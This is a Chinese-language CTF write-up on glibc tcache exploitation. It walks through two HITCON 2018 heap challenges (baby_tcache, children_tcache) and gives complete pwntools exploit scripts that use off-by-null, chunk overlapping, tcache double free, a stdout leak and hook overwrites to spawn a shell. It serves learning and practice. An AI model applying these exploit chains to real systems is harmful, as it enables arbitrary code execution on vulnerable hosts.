tcache利用总结

tcache利用的2道典型题目

想着把之前学习和做过的题都整理一遍,首先是tcache的利用总结,会有2道题目

tcache简述

为了提升堆管理的性能,glibc 2.26之后引进了tcache,tcache使用两个新的结构体tcache_entry和tcache_perthread_struct进行管理,在free时,大小小于largebin size的堆块会先放入tcache中,每条tcache链上的堆块大小相同,每条tcache链最多放入7个堆块。在malloc时会优先在tcache中寻找合适大小的堆块。所以如果想利用之前fastbin或unsorted bin attack时要注意先把对应大小的tcache链填满或释放掉。

#tcache利用
tcache利用常和off by one、chunk overlapp结合,进行tcache的double free。

调试环境

tcache需要libc版本在2.26以上,2.27居多,之前尝试在ubuntu 18.04上装pwndbg,一直没有装成功,同学推荐了pwn的docker,目前有两种解决方案:推荐一个gdb-peda的插件,Pwngdb,在ubuntu18.04上挺好用的,在ubuntu18.10上使用Ctrl+C下断点的时候反应很慢,还没找到解决方案。另外推荐两个pwn环境的docker,pwndockerancypwn

#HITCON 2018 baby_tcache

题目描述

这道题提供了add和remove两个功能,可以malloc不超过0x2000的任意堆块,申请的chunk大小可以控制,但是没有show的功能,泄露libc地址需要另外想办法。
题目开的保护情况:
1

题目漏洞

这道题有一个off by null的漏洞,由于没有show的功能,无法直接泄露libc,参考这篇大佬的writeup。首先利用IO_FILE结构体去泄露地址,然后利用off by null进行chunk overlapping,从而造成类似tcache double free的状态,然后修改__free_hook为one_gadget,调用free进行触发。具体分析如下。
2

利用过程

初始堆的布局,分配7个chunk:

1
2
3
4
5
6
7
add(0x500-8,'0') #0 0x500
add(0x30,'1') #1 0x40
add(0x40,'2') #2 0x50
add(0x50,'3') #3 0x60
add(0x60,'4') #4 0x70
add(0x500-8,'5') #5
add(0x70,'6') #6

释放idx4,再重新分配,并修改覆盖idx5的prev_size,idx5的prev_size域由0x500覆盖为0x660,而0x660恰好就是前面分配的idx0~idx4的大小之和:(0x500+0x40+0x50+0x60+0x70)=0x660。

1
2
3
#cover prev_size
remove(4)
add(0x68,'a'*0x60+'\x60\x06') #idx0-idx4 #4

释放idx2和idx0,再释放idx5,会根据idx5的prev_size大小0x660触发chunk的合并,进入unsorted bin中,大小为0xb60:

1
2
3
remove(2) #0x50 put tcache
remove(0) #0x500 put unsorted bin
remove(5) #merge idx0 put unsorted bin

3
再分配大小为0x530的堆块,unsorted bin和tcache中分配的起始地址相同:

1
add(0x530,'0') #0 0x540 tcache:idx2-> main_arena+0x80 ->

4

下面可以进行libc的泄露了,由于没有打印函数,所以这里使用修改tcache 0x50的fd指针指向_IO_2_1_stdout_,修改该结构体的flag部分,让程序认为stdout有缓冲区,使得函数在调用puts函数时会最终调用到_IO_new_file_overflow,该函数会调用_IO_do_write进行输出,程序会以_IO_write_base开始,_IO_write_ptr结束的部分为缓冲区进行输出。在修改fd指针时需要爆破2个字节。

5

1
2
3
4
5
6
7
8
9
10
remove(4) #0x70 put tcache
#blasting 2 bytes
#2 overwrite 0x50 tcache fd to _IO_2_1_stdout_
add(0xa8,"\x60\xd7")
add(0x40,'4') #4 malloc from tcache
add(0x40,p64(0xfbad1800)+p64(0)*3+'\x00')
leak_addr = u64(p.recvn(0x30)[8:16].ljust(8,'\x00'))
libc_base = leak_addr - 0x3b18b0
print "leak_addr:",hex(leak_addr)
print "libc_base:",hex(libc_base)

这里需要修改_IO_2_1_stdout_的flag的值为0xfbad1800,使程序在调用put时能够满足条件调用_IO_do_write,这里参考了ctf-wiki关于tcache的讲解的文章,具体需要满足的条件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#_IO_FILE flags

#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000

_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

最后利用tcache double free修改__free_hook为one_gadget:

1
2
3
4
5
6
7
#double free
_free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f322
add(0xa8,p64(_free_hook))
add(0x68,'f')
add(0x68,p64(one_gadget))
remove(0)

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

context.terminal = ["tmux","split","-h"]
context.log_level = "debug"

p = process("./baby_tcache")
libc = ELF("./libc64.so")

def add(size,data):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(data)

def remove(idx):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(idx))


add(0x500-8,'0') #0 0x500
add(0x30,'1') #1 0x40
add(0x40,'2') #2
add(0x50,'3') #3
add(0x60,'4') #4
add(0x500-8,'5') #5
add(0x70,'6') #6

#over prev_size
remove(4)
add(0x68,'a'*0x60+'\x60\x06') #idx0-idx4 #4

remove(2) #0x50 put tcache
remove(0) #0x500 put unsorted bin
remove(5) #merge idx0 put unsorted bin

##now tcache:0x50 idx2
add(0x530,'0') #0 0x540 tcache:idx2-> main_arena+0x80 ->
remove(4) #0x70 put tcache
#blasting 2 bytes
#2 overwrite 0x50 tcache fd to _IO_2_1_stdout_
add(0xa8,"\x60\xd7")

gdb.attach(p)

add(0x40,'4') #4 malloc from tcache
add(0x40,p64(0xfbad1800)+p64(0)*3+'\x00')
leak_addr = u64(p.recvn(0x30)[8:16].ljust(8,'\x00'))
libc_base = leak_addr - 0x3b18b0
print "leak_addr:",hex(leak_addr)
print "libc_base:",hex(libc_base)


#double free
_free_hook = libc_base + libc.symbols["__free_hook"]
one_gadget = libc_base + 0x4f322
add(0xa8,p64(_free_hook))
add(0x68,'f')
add(0x68,p64(one_gadget))
remove(0)

p.interactive()

HITCON 2018 children_tcache

题目概述

这道题有add、show、remove三个功能,可以malloc任意不超过0x2000的chunk,数量最多为10个。

题目开的保护情况:
6

题目漏洞

这道题my_read函数没有漏洞,但是后面又调用了strcpy函数将缓冲区内容复制到申请的堆区域内,但strcpy在复制时会把源字符串末尾结束的‘\0’也复制到目的字符串中,所以如果源字符串长度已经达到设置的size,再在目的字符串空间末尾加一个‘\0’就会有off by null的漏洞。类似的,这道题也是利用off by null去进行chunk overlapping,利用tcache dup将__malloc_hook的地址修改为one_gadget,获得shell。由于libc是2.27的版本,需要注意tcache链的填充和释放。

利用过程

首先申请7个堆块,用于填充tcache,再申请3个0x110的堆块,释放idx7和idx8,目前bins的分布情况如下:

7

1
2
3
4
5
6
7
8
add_times(0,7,0x100)
add(0x108,"7777") #7 0x110
add(0x100,"8888") #8 0x110
add(0x100,"9999") #9 0x110

remove_times(0,7)
remove(7) #0x9c0
remove(8) #0xad0

继续从unsorted bin中申请0x110的idx7,将原本属于idx8的0x110分割为0x80的idx8和0x70的idx0,注意tcache链的填充。

1
2
3
4
5
6
7
8
9
add_times(0,7,0x100)
add(0x108,"7"*0x108) #7 0x110
add(0x80,'8') #8 0x90

remove_times(0,7)
gdb.attach(p)
add_times(0,7,0x80)
remove_times(0,7)
add(0x60,'0') #0 0x70

此时,再释放idx8和idx9,释放idx9时根据prev_size进行前向合并,此时,idx8和idx9合并的大小为0x220的队块进入unsortedbin中。

1
2
remove(8)
remove(9) ##overlap chunk8(0x90 0x110) and chunk9(0x100)

idx9对应的堆如下图所示,0x55cdcc1bead0是idx8对应堆的起始地址:

8

bins的分布情况如下图:

9

再继续分配0x80的idx9,此时unsorted bin中的第一个堆块的起始地址也是idx0的地址,再进行show(0)就可以泄露libc的地址。

1
2
3
4
5
6
7
add_times(0,7,0x80) #1-6 8 0x90
add(0x80,'9') #idx9 0x90
show(0) #0x70
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - libc.symbols["__malloc_hook"] -0x70
print "libc_base:",hex(libc_base)

这里说明一下常规的chunk overlapping会在分配0x80之前进行原本大小为0x110的idx9的prev_size的伪造,否则在分配新的堆块时会调用unlink陷入“corrupted size vs. prev_size”的错误。这里为什么没有伪造,等有时间总结一下申请堆内存的过程再来说明这个问题。

接下来构造tcache的double free,继续从unsorted bin中申请与idx0相同大小(0x70)的堆块,然后释放这两个相同起始地址的堆块,即可在tcache链中构造double free。

1
2
3
4
5
6
remove_times(1,7)
remove(8)
#double free tcache 0x70
add(0x60,'0') #1
remove(0)
remove(1)

此时bins的分布如下图:

10

最后将__malloc_hook的内容修改为one_gadget,再申请分配堆块触发one_gadget,即可获得shell。

1
2
3
4
5
6
7
8
9
10
one_gadget = libc_base + 0x41656
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
add(0x60,p64(__malloc_hook-0x23)) #0
add(0x60,'1') #1
add(0x60,'2'*0x23+p64(one_gadget)) #2
#trigger
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(0x60))

完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

#context.terminal = ["tmux","split","-h"]
context.log_level = "debug"

p = process("./children_tcache")
libc = ELF("/glibc/2.27/64/lib/libc-2.27.so")

def add(size,data):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.sendline(data)

def show(idx):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(idx))

def remove(idx):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(idx))

def remove_times(s,f):
for i in range(s,f):
remove(i)
def add_times(s,f,size):
for i in range(s,f):
add(size,str(i))

add_times(0,7,0x100)
add(0x108,"7777") #7
add(0x100,"8888") #8
add(0x100,"9999") #9

remove_times(0,7)
remove(7) #0x9c0
remove(8) #0xad0

add_times(0,7,0x100)
add(0x108,"7"*0x108) #7
add(0x80,'8') #8

remove_times(0,7)
add_times(0,7,0x80)
remove_times(0,7)
add(0x60,'0') #0
#gdb.attach(p)

remove(8)
remove(9) #overlap chunk8(0x90 0x110) and chunk9(0x100)

add_times(0,7,0x80) #1-6 8
add(0x80,'9')
show(0) #0x70
leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
print "leak_addr:",hex(leak_addr)
libc_base = leak_addr - libc.symbols["__malloc_hook"] -0x70
print "libc_base:",hex(libc_base)

remove_times(1,7)
remove(8)

#double free tcache 0x70
add(0x60,'0') #1
remove(0)
remove(1)

one_gadget = libc_base + 0x41656
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
add(0x60,p64(__malloc_hook-0x23)) #0
add(0x60,'1') #1
add(0x60,'2'*0x23+p64(one_gadget)) #2

#trigger
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(0x60))

p.interactive()

参考

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/

http://myhackerworld.top/2018/11/20/tcache机制的几道pwn题/

https://hpasserby.me/post/cdad9cf7.html